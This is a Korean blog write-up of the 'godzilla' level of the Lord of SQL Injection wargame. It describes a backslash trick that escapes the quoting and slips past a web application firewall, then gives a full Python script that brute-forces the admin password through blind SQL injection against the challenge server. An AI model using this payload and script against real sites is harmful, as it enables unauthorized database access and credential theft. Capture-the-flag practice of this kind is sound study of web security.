Web Hacking/LOS

Lord of SQL Injection - godzilla

Lucvs 2021. 10. 3. 18:00

이 친구도 그다지 복잡하지 않은 친구이다. 역슬래시로 id 영역의 싱글쿼터를 벗어나는 방법은 WAF(Web Application Firewall)에 걸리지 않는 것 같다. 

 

Blind SQL Injection 형식의 문제이니 pw를 모두 구해야 한다. 우선 길이부터 구하자.

 

 

id=\&pw= or id="admin" and length(pw)>'0

아주 예쁘게 나온다. 이후에는 pw를 구하는 코드를 짜면 될 것 같다. pw를 구하는 payload 구성 방식에는 다음과 같은 방식들이 있을 것이다.

  1. substr 함수를 사용
  2. pw like "X%" - like문과 와일드카드 이용
  3. pw rlike "^X" - 정규표현식과 rlike 이용
  4. bin(ord(substr())) 함수를 이용 - 2진수로 검색

이번에는 그냥 간단하게 1번으로 payload를 구성하겠다. exploit.py 는 다음과 같다.

 

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
for i in range(0, 100):
    payload = '?id=\&pw= or id="admin" and length(pw)=' + str(i) + "%23"
    res = session.get(url = org_url + payload, headers=header, verify=False)

    if "Hello admin" in res.text:
        print("Length of PW is [ %d ]\n" % i)
        break

        
# Brute Force
password = ''

for i in range(1, 9):
    for j in range(33, 122):
        payload = '?id=\&pw= or id="admin" and substr(pw,' + str(i) + ',1)=' + "'" + chr(j) 
        res = session.get(url = org_url + payload, headers = header, verify=False)

        if "Hello admin" in res.text:
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break


# Result
print("\n\nPW --> %s\n" % password)